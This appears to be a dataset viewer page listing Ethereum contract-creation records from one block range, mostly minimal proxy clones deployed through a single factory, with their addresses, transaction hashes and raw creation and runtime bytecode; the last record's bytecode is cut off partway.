Subset (2)

hex-ethereum · 1.42M rows

Split (2)

train · 1.29M rows

Search is not available for this dataset

chain_id uint64 1 1	block_number uint64 19.5M 20M	block_hash stringlengths 64 64	transaction_hash stringlengths 64 64	deployer_address stringlengths 40 40	factory_address stringlengths 40 40	contract_address stringlengths 40 40	creation_bytecode stringlengths 0 98.3k	runtime_bytecode stringlengths 0 49.2k	creation_sourcecode stringlengths 0 976k
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	28f60ba1fc2a9fa01a09b96adbea2c95c0b0c09c1eee18980f4fac6fd4b91ed8	e12df82b8d8b34c558b0c915c65fb260af181940	881d4032abe4188e2237efcd27ab435e81fc6bb1	7ccf9e8f435c7400cee2264b4b5d21e9ccfafe51	3d602d80600a3d3981f3363d3d373d3d3d363d73f69972b229b934d41918f97777c9fa98c636b4065af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73f69972b229b934d41918f97777c9fa98c636b4065af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	da5e34dd320cb36e16c8b4826e8dfa5dda815b370e5a4454b42b5634cbd3d554	dea3ef82a0c98406b20f60dffc82aed05854b72c	881d4032abe4188e2237efcd27ab435e81fc6bb1	8e38c8b229fdae47afa4af7fd4d150c186e91c44	3d602d80600a3d3981f3363d3d373d3d3d363d73c96933650242379351ad5e32b7bf43a0b820aa5c5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73c96933650242379351ad5e32b7bf43a0b820aa5c5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	45091c6a7fcda62ecc19f223aa9cec8c608e55bc183d2a43e00025fb7ab7411c	f2e41835f951890d4f96ab0596482d64d451258b	881d4032abe4188e2237efcd27ab435e81fc6bb1	c6994426a79f181543e552a13cabfdce7a084a89	3d602d80600a3d3981f3363d3d373d3d3d363d739866373f4da648759702b996d4931ad42bb875f85af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d739866373f4da648759702b996d4931ad42bb875f85af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	bf03f2905d008dd1051de6c4285cfc827b669de8b6911cc8cf6801fb0e9998d1	1fbd3fe62585747ce05304f16a6da21e299227b2	881d4032abe4188e2237efcd27ab435e81fc6bb1	8672112350286701a32f5901531f33f44a13a27e	3d602d80600a3d3981f3363d3d373d3d3d363d73ec3d450e58524e4c25d2b76e6f032cef1423c62d5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73ec3d450e58524e4c25d2b76e6f032cef1423c62d5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	955ffd648b2bddc4dcb57a7f210831feef79cf8532aab37caca08113753a0dd8	9651ba6e50ccb3dcf21f66f486110c02c5cfadd3	881d4032abe4188e2237efcd27ab435e81fc6bb1	f6b1fd00c9415359df96a5521d88217d050326fe	3d602d80600a3d3981f3363d3d373d3d3d363d7354904ccad4ea48c4e425ff661e432a64771de3ea5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7354904ccad4ea48c4e425ff661e432a64771de3ea5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	f75036abcbb38b59eb08375f049e8a88cc96b9e89289ce1cf48e13ef1cb88a44	d9a4a41f1746c9a7ebc68b80ce6c953e20d5ad0d	881d4032abe4188e2237efcd27ab435e81fc6bb1	fe142a59969def519da5117cfcda59975a7bb9e6	3d602d80600a3d3981f3363d3d373d3d3d363d73ce1376c7bcd1ab43a1103d22046559af92f95c495af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73ce1376c7bcd1ab43a1103d22046559af92f95c495af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	d18f31bba9d13de7687ed7c1e3afde829fc0e17f3881b48b997e4791cafd7f8a	b09fb3147ef0292eb85e8e5c6866620dfeae01e9	881d4032abe4188e2237efcd27ab435e81fc6bb1	a49af5761c0bcec7034929e5628d778a1a64a4ba	3d602d80600a3d3981f3363d3d373d3d3d363d739863640add1ae4db59026b1f333a87cee97c1ea75af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d739863640add1ae4db59026b1f333a87cee97c1ea75af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	974a09f729a20bc5970d5ee89ef297cb6a3b0202c65c6cd1713e35cf3299d28b	cc2fa291f062f7965018cd6a3f083f76e7125536	881d4032abe4188e2237efcd27ab435e81fc6bb1	4fab073b7b566c6a625402fefd367eb6c08ebb8a	3d602d80600a3d3981f3363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	d8db4930405a1aad4cbdecec9f31dadeaba65ca9b2d4220148aa3eca1dc1ab6c	f0c2b6eabbc5d4ac4c76cb9cb879b1a8e2b801b4	881d4032abe4188e2237efcd27ab435e81fc6bb1	72aa97a12c9984b22170138402b1a6dbbc6c2eb5	3d602d80600a3d3981f3363d3d373d3d3d363d736417c07c0e7479d10a1d35eec6344df0bc5f48f95af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d736417c07c0e7479d10a1d35eec6344df0bc5f48f95af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	66b01872f4ef59e53854e6cd57cfd3e741f5cb0bfad576949f6395119f7d35b6	0254d61a5ea4955840d50eb8bd5780bf12a14dbc	881d4032abe4188e2237efcd27ab435e81fc6bb1	9b78c18457aa13e3db53683c571898ffad53e1d6	3d602d80600a3d3981f3363d3d373d3d3d363d7357ae82ac5d1982430a23e2d1294e3bf7a6430dc95af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7357ae82ac5d1982430a23e2d1294e3bf7a6430dc95af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	5dc35b5e680dc941696143c1bf140d0a61a782eafcba37f7f81401da6d2a6a1e	4586bb6a89fb78e10f33a8d39b045028e433a92a	881d4032abe4188e2237efcd27ab435e81fc6bb1	851b5f67ee47b7ce1d96f26cd985af42b7c608e5	3d602d80600a3d3981f3363d3d373d3d3d363d7354904ccad4ea48c4e425ff661e432a64771de3ea5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7354904ccad4ea48c4e425ff661e432a64771de3ea5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	2e86cca76bea04cd7d597276dceec7418cc96565fc7ad74d633acc1e755e92e0	fd7706f2804788160db4e15b813e5ef1b5e3e6f7	881d4032abe4188e2237efcd27ab435e81fc6bb1	3b036f9f8620d891ecf54a9ab6a3371a090ceda8	3d602d80600a3d3981f3363d3d373d3d3d363d735d6e244c836792216675cc15a98210a927145eee5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d735d6e244c836792216675cc15a98210a927145eee5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	30ab2c7b35fabbce91019fe6d23bdc772055ca617ad6606f50185c07cc0ace04	6d4ca2789c544a04d7c7ff37b1dd8625d6f8c81b	881d4032abe4188e2237efcd27ab435e81fc6bb1	0b1af98137ba42f7f9b1d154797fc1661e0e0c08	3d602d80600a3d3981f3363d3d373d3d3d363d736417c07c0e7479d10a1d35eec6344df0bc5f48f95af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d736417c07c0e7479d10a1d35eec6344df0bc5f48f95af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	4d83ef2ee6a72da0a2099acd00bdc54ae291af30bce909b98f511aa72427dc49	c43c05c5cc160307dc84d31eacebe92470fb6cc2	881d4032abe4188e2237efcd27ab435e81fc6bb1	69d9f9e3e6ae0e2a8d36a9e7526e8f9247fd0dc8	3d602d80600a3d3981f3363d3d373d3d3d363d731abaec5dd9a84171d998332570919c9f0f17f2685af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d731abaec5dd9a84171d998332570919c9f0f17f2685af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	5f06315df3fceb6d78c829dd442c0f4ed02dffb55460161d083f64e055161a02	6d45040e99c9e4df4c796673a2852cb842ccd223	881d4032abe4188e2237efcd27ab435e81fc6bb1	061a503ebde0c0e5571d5614d6c057e1ea8797a3	3d602d80600a3d3981f3363d3d373d3d3d363d739f6be3b80088c747477b82ed5edadcc2ccc7caa75af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d739f6be3b80088c747477b82ed5edadcc2ccc7caa75af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	6b1452691758e74d4a43926da4def33c3c263fdc1e4d65e3550568c4f9d018af	1089b599d956b0e55d23b5193f583bb14c7d4cfb	881d4032abe4188e2237efcd27ab435e81fc6bb1	15709acba2e68e4c729d14567233c9f55682897c	3d602d80600a3d3981f3363d3d373d3d3d363d73085767d3c7b2399f54311b9a5d2b16affecca09c5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73085767d3c7b2399f54311b9a5d2b16affecca09c5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	753f1ddc4c88c82c5427b90b57bb6cfd4b2575d43af493417cce7974330c8852	98b3d7fac1c3781acb96149982999c7867411def	881d4032abe4188e2237efcd27ab435e81fc6bb1	d2ee5b6ae83aa22a4392b118802d2ca7749f5d03	3d602d80600a3d3981f3363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	b4aefa317d0474c725b86d9ff3b5af10018f59cbcecd56df1019b7bc64e9a36e	b44d7d6cae7a221e62f07c0f135aa39a839166dc	881d4032abe4188e2237efcd27ab435e81fc6bb1	152cce66bc91f669ac44cd21d5c105f0a9685c70	3d602d80600a3d3981f3363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	0c7d6f488208e6a83b1f7616216b6eed5e34e712cfb4736fc791d102b8b7c6d7	272cfa0b5f94993b73acc21b9cb7cdc45d775f4a	881d4032abe4188e2237efcd27ab435e81fc6bb1	6e2d8acfd9a93b3531342d1b1ba1dd8d1bce4cca	3d602d80600a3d3981f3363d3d373d3d3d363d73e7208ccd06319b4bb850b481b1b6152b092ba5dd5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73e7208ccd06319b4bb850b481b1b6152b092ba5dd5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	484aa18b1646969a660019a7ed7cb6c62dedb114d28d7c8506f3e27db944620e	5d2f39ed07d5ca4cb6d6d42f6bb99cbb34eab426	881d4032abe4188e2237efcd27ab435e81fc6bb1	b391e0d6df0cabdd6e337ff4fa9eaa0b622f5986	3d602d80600a3d3981f3363d3d373d3d3d363d73326e58615ea6daf9529397b6e7b777696e32b8075af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73326e58615ea6daf9529397b6e7b777696e32b8075af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	65170daa25a5192e4483bf105ea260462b0e39b78943c889646905930671cefb	ab1513e39df51788c4d9f4a6ad862a527ef25645	881d4032abe4188e2237efcd27ab435e81fc6bb1	893a36cf4f7022e6ab732809c00edeabb0f83edd	3d602d80600a3d3981f3363d3d373d3d3d363d736f44b48c93dc501dcb15317ac247fc221bcf0d1f5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d736f44b48c93dc501dcb15317ac247fc221bcf0d1f5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	6d4fc14d3a19a67051ab9a7dfd26903e08fe60c86d5ef5ac22bf58810b785f72	06ad366ec8828a8677d88210ed8885965bf4922d	881d4032abe4188e2237efcd27ab435e81fc6bb1	7039f29d7ff23ec2f40705e9f88b6326fd00db0b	3d602d80600a3d3981f3363d3d373d3d3d363d73fa173673bd824331d9be72b3472c9c20881bd3975af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73fa173673bd824331d9be72b3472c9c20881bd3975af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	8a50529d089ed54556908387480401e9e4a2410b50bf1b07b0ba765165fd4fb2	c094e793d14dafb5a816341fcb407f8b04fd5949	881d4032abe4188e2237efcd27ab435e81fc6bb1	367d26fa2f5c10f310d354979df9a6e58be5eccd	3d602d80600a3d3981f3363d3d373d3d3d363d736558d8a5ec4b9f0028ead6d1cee76a739a31ea8e5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d736558d8a5ec4b9f0028ead6d1cee76a739a31ea8e5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	91bf34f063a0860c1a255d58a3697d459af75f41a4658234f2ee2573848804f3	a25b6f55a895f55664f17f8f63e025c660092881	881d4032abe4188e2237efcd27ab435e81fc6bb1	84150b1a8958f76142b7221f85d99943b329ca13	3d602d80600a3d3981f3363d3d373d3d3d363d73fa173673bd824331d9be72b3472c9c20881bd3975af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73fa173673bd824331d9be72b3472c9c20881bd3975af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	96c1fb336c14950e05aefe0ab8279fdd2390dc7d54b8493199ff75a48c23c960	06cdfb58b508d67e04221e65d2fef27225c64c82	881d4032abe4188e2237efcd27ab435e81fc6bb1	35c4c133dcedcf98f3b083835a7744ed691eb88e	3d602d80600a3d3981f3363d3d373d3d3d363d736d8211b3593fd4ddf13dd8aea05074b4f748f1fd5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d736d8211b3593fd4ddf13dd8aea05074b4f748f1fd5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	e27de5b5f103cd7fccdd9aaad353ed47aa3d8bdd4ae4de5ea4e72c6cd5edcdda	d8bf1bfe086c40386a0d529423f6f71111fd937d	881d4032abe4188e2237efcd27ab435e81fc6bb1	65dde7f4b356c1306aec7ebefbd41e5a898fe6d3	3d602d80600a3d3981f3363d3d373d3d3d363d73aa24d606a21169719eac7148d6de3d4e11d650155af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73aa24d606a21169719eac7148d6de3d4e11d650155af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	c15f0eae58be24d806b09f41e69023c5c8ed8244d242e6adf862f5ea6712654b	441f78c948240ed13485b5274128bf30a685727a	881d4032abe4188e2237efcd27ab435e81fc6bb1	683098caefad3880a22e2bb0a81b815b41b50a57	3d602d80600a3d3981f3363d3d373d3d3d363d731abaec5dd9a84171d998332570919c9f0f17f2685af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d731abaec5dd9a84171d998332570919c9f0f17f2685af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	872f8ffe940fdadae961756c4a77b9363d938bbb6216b9c9fa61f8d026b2f330	ad22a360573fca07a17085456645467b66192958	881d4032abe4188e2237efcd27ab435e81fc6bb1	5ba84d8417d07471fd0ec2cfb6cda1b2925833ae	3d602d80600a3d3981f3363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	11fc38623301dafb84a9946fbab99cc675d6ced729c38d015af10d70692f7f5d	49e99a3dc8a3bf4f104772bd488ff8b0ad44aef0	881d4032abe4188e2237efcd27ab435e81fc6bb1	378bcd40e9916ab1c58312822fd92f929e8d5d0b	3d602d80600a3d3981f3363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	02c9f50d2498bf8445b4bc9984797713b392f3faf8587c3d8b8b7b43d7befabf	86a1544a652f58a6c96d31d7c9ab101c154978d6	881d4032abe4188e2237efcd27ab435e81fc6bb1	657fb84043b583ce08e14f2aaa6f3dc63852154f	3d602d80600a3d3981f3363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7378382fb58c5d5768ba5d3ece8a290d40fe7237d85af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	6942e7b49206019628032acd3837a312866357e346d6619bae79bf2ee596541f	731554ccf9fbd5571640f092a35451947c77696c	881d4032abe4188e2237efcd27ab435e81fc6bb1	5ce72329959703f87892f89ccbce3930f2bc8a9f	3d602d80600a3d3981f3363d3d373d3d3d363d73412e13e08d7c423596b8d7413b8673dfd5a8f27b5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73412e13e08d7c423596b8d7413b8673dfd5a8f27b5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	bfa48a26037f6a9b2fc1f1d1c329bb013d32944e0280922561bdca7b9389ee00	1934f4b9927866b368ded4d436c1b8f1b89a2d08	881d4032abe4188e2237efcd27ab435e81fc6bb1	1514f55bf39aeffc6aaca7acc1505127c3723193	3d602d80600a3d3981f3363d3d373d3d3d363d73ebd061906551f78d184b27426bd79b05953a3cef5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73ebd061906551f78d184b27426bd79b05953a3cef5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	26c7e00a1e7f89d34b674997c22a85f12d7909ca15f0d276f1926b0c1bdc1899	d2ff7fbfff7e16c5a760516a4c493a0105c60b26	881d4032abe4188e2237efcd27ab435e81fc6bb1	600aa4bd96ea8e4b6d812b68f0c893f2fa6dad3e	3d602d80600a3d3981f3363d3d373d3d3d363d73f03f84ea9df2e5e9fef267f5928ae81d6724fc3f5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73f03f84ea9df2e5e9fef267f5928ae81d6724fc3f5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	de6fc335eef9d009ef7d425f6cbbf75133a9045087a75372641ed6643ca05d6f	29ba3edcfdb3bd898646084c6d48f77694a22ac4	881d4032abe4188e2237efcd27ab435e81fc6bb1	321e9e0eb2520ec2d262bfa68af6488df0ce4edc	3d602d80600a3d3981f3363d3d373d3d3d363d739866373f4da648759702b996d4931ad42bb875f85af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d739866373f4da648759702b996d4931ad42bb875f85af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	426fd18e393117055aaa736bbd6b5de17838144315128b12a05b466585eb57fa	3484c0a32e4f0ee256141f65fb3ff3950c154d20	881d4032abe4188e2237efcd27ab435e81fc6bb1	80415d0a2d10a6ceb8d653fe0c8ce5d19109df10	3d602d80600a3d3981f3363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	844af06858d3ecb7537d57cfc9c7c47a26cd987536a695237fcd02b8a0ba72ac	916554db90f2efe658bbac256f14d9f38754bdc0	881d4032abe4188e2237efcd27ab435e81fc6bb1	dcd5c8124222da48cbb0adfba905303f16def821	3d602d80600a3d3981f3363d3d373d3d3d363d7349b4dcfacce279d8684b77f74ec59e975e62467a5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7349b4dcfacce279d8684b77f74ec59e975e62467a5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	2d5f54ae3052607b9f4e2a0d595f0302a496b79c1c41362d99138ff7d6620b17	afbed21f5c38e28c9b2e34cb7fe0171fa0b718aa	881d4032abe4188e2237efcd27ab435e81fc6bb1	84a805b1b7af34c967ffc6f26a2f608d7a3399db	3d602d80600a3d3981f3363d3d373d3d3d363d7327a95d73b91b1ee1859058bafbb86498fb6e0a435af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7327a95d73b91b1ee1859058bafbb86498fb6e0a435af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	ed06aa7278bd63a100bf24f5eb91ef9793ff03ca1ef69c3e80ed91f7d7a09525	a7e7cc2eecb02fea42fc56c087f1e1b7006a757a	881d4032abe4188e2237efcd27ab435e81fc6bb1	8babf66bfcddf687f9110b38f5332c56e2ded52b	3d602d80600a3d3981f3363d3d373d3d3d363d73d7d96d995be0feed9a3d8a439c9074285d86f57a5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73d7d96d995be0feed9a3d8a439c9074285d86f57a5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	ef704480309d001bbcc9beef2ec76ecb0778e3270a89c7e3c24c896758bf39c5	07481dae3b64bdcdf42097fe5e56d15fa6ba0613	881d4032abe4188e2237efcd27ab435e81fc6bb1	bf6e8cab8ca7056618084dcadc29cdc0f40fa295	3d602d80600a3d3981f3363d3d373d3d3d363d734e8c910fed2ebb0b2c2a484efb83d0d7b2055ff35af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d734e8c910fed2ebb0b2c2a484efb83d0d7b2055ff35af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	bf3df83d42b3cf892a2907042473a5de5bb73c51f7603546ba201fe574a0204c	eb19ab6adca70f239c975c891d116f9d2c8e1f9f	881d4032abe4188e2237efcd27ab435e81fc6bb1	8a688c2be7928b7dbd7e4d5799ff56d579cec44c	3d602d80600a3d3981f3363d3d373d3d3d363d735c0e7822aaaaeb4d4d798a48035b9e92b17fc5775af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d735c0e7822aaaaeb4d4d798a48035b9e92b17fc5775af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	30c2392be4de7b2c09389b78bdaac38565e64e6807370b9136d5898eae76da6b	4d6762e34cefbc7948402596520b9e356095a6ad	881d4032abe4188e2237efcd27ab435e81fc6bb1	6381cb51392babbceab722b27911674224367799	3d602d80600a3d3981f3363d3d373d3d3d363d736417c07c0e7479d10a1d35eec6344df0bc5f48f95af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d736417c07c0e7479d10a1d35eec6344df0bc5f48f95af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	c6690327a2caf28cd7e50f5e3ecee8806a8f6332b78eb55b0af8037a2d3b3d7d	e1a8cad54151680a3fa97438a7e4a4b74da4a3b2	881d4032abe4188e2237efcd27ab435e81fc6bb1	7b7fa4527133d97ca325a67e774a6d9b5bf6d820	3d602d80600a3d3981f3363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	06f0c00dc5c4f09ab6f310d07173122235de5004e50726785c568750a52f8b5c	c257ecbeb2394284099d7932e0f36e0498455504	881d4032abe4188e2237efcd27ab435e81fc6bb1	90222079156551aa1e56ece488a47c99697cc148	3d602d80600a3d3981f3363d3d373d3d3d363d73f69972b229b934d41918f97777c9fa98c636b4065af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d73f69972b229b934d41918f97777c9fa98c636b4065af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	a5e279ba06a399315fe4d4320f099730d462ecba9c75447c63bfd5080ecdfcbf	373363d7bd714d1f729aa18d776d1ea4a3ed89f3	881d4032abe4188e2237efcd27ab435e81fc6bb1	3bf18091172efe96f2c2311bd8f78145fb881a5d	3d602d80600a3d3981f3363d3d373d3d3d363d739866373f4da648759702b996d4931ad42bb875f85af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d739866373f4da648759702b996d4931ad42bb875f85af43d82803e903d91602b57fd5bf3
1	19,499,647	f4a54abca765c12c5885c2084ea160204e6c804b30665182f156b954d9c2543f	74bf2774eb9c9afe5fa65d58ed6f6b5ff68d588af9741ba064bf6b5ec7cbec7f	1bdabc9594b5e4dc883e60a68abe1b78b36a36ef	881d4032abe4188e2237efcd27ab435e81fc6bb1	53f066588c66a0143d7eb038abdb5eb6226e1360	3d602d80600a3d3981f3363d3d373d3d3d363d736fe4fb5cfbdc2c981a15b9134aecdae344860cab5af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d736fe4fb5cfbdc2c981a15b9134aecdae344860cab5af43d82803e903d91602b57fd5bf3
1	19,499,652	df9c214f3c62b30cca65f6afdc885254b3f947edf0052dd3ed2c83b01636d077	60e00941194845a19bd7f5d199aa1d588cc477b0f4d36d12c59cecf3e4f4e1c0	887e50815a297822da63fe892b827fb1a10c87ba	887e50815a297822da63fe892b827fb1a10c87ba	a741650755eab17f30f419ccb923d9bae044b0ee	608060405260405180602001604052805f8152506008908162000023919062000381565b5034801562000030575f80fd5b5060405162003b2638038062003b268339818101604052810190620000569190620004ca565b335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506200050f565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200019957607f821691505b602082108103620001af57620001ae62000154565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620002137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620001d6565b6200021f8683620001d6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000269620002636200025d8462000237565b62000240565b62000237565b9050919050565b5f819050919050565b620002848362000249565b6200029c620002938262000270565b848454620001e2565b825550505050565b5f90565b620002b2620002a4565b620002bf81848462000279565b505050565b5b81811015620002e657620002da5f82620002a8565b600181019050620002c5565b5050565b601f8211156200033557620002ff81620001b5565b6200030a84620001c7565b810160208510156200031a578190505b620003326200032985620001c7565b830182620002c4565b50505b505050565b5f82821c905092915050565b5f620003575f19846008026200033a565b1980831691505092915050565b5f62000371838362000346565b9150826002028217905092915050565b6200038c826200011d565b67ffffffffffffffff811115620003a857620003a762000127565b5b620003b4825462000181565b620003c1828285620002ea565b5f60209050601f831160018114620003f7575f8415620003e2578287015190505b620003ee858262000364565b8655506200045d565b601f1984166200040786620001b5565b5f5b82811015620004305784890151825560018201915060208501945060208101905062000409565b868310156200045057848901516200044c601f89168262000346565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620004948262000469565b9050919050565b620004a68162000488565b8114620004b1575f80fd5b50565b5f81519050620004c4816200049b565b92915050565b5f8060408385031215620004e357620004e262000465565b5b5f620004f2858286016